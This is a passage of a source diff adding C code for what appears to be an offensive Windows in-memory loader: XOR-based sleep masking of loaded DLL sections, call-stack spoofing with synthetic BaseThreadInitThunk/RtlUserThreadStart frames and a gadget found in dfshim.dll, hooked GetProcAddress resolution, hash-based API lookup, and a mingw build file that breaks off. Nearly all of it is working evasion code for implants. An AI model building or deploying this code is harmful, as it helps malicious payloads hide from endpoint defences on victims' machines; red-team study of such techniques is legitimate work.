section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if ( is_writeable ( section->CurrentProtect ) )
|
||||
{
|
||||
apply_mask ( section->BaseAddress, section->Size );
|
||||
}
|
||||
|
||||
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xor_region ( MEMORY_REGION * region, BOOL mask )
|
||||
{
|
||||
for ( int i = 0; i < 20; i++ )
|
||||
{
|
||||
xor_section ( ®ion->Sections [ i ], mask );
|
||||
}
|
||||
}
|
||||
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
|
||||
{
|
||||
xor_region ( &memory->Dll, mask );
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
|
||||
@@ -0,0 +1,17 @@
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -0,0 +1,93 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "mask.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, TRUE );
|
||||
}
|
||||
|
||||
spoof_call ( &call );
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, FALSE );
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
|
||||
{
|
||||
HANDLE module = findModuleByHash ( mod_hash );
|
||||
return findFunctionByHash ( module, func_hash );
|
||||
}
|
||||
|
||||
/**
|
||||
* This function is used to load and/or locate functions
|
||||
* in modules that are not loaded by default.
|
||||
*/
|
||||
FARPROC resolve_ext ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = KERNEL32$GetModuleHandleA ( mod_name );
|
||||
|
||||
if ( module == NULL ) {
|
||||
module = LoadLibraryA ( mod_name );
|
||||
}
|
||||
|
||||
return GetProcAddress ( module, func_name );
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
|
||||
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
|
||||
|
||||
if ( dfshim != NULL ) {
|
||||
frame->Gadget = dfshim;
|
||||
} else {
|
||||
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
|
||||
}
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
if ( ssn ) {
|
||||
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -15,7 +15,7 @@
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
@@ -25,47 +25,62 @@
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction);
|
||||
char * findModuleByHash(DWORD moduleHash);
|
||||
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
@@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
@@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data);
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,22 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
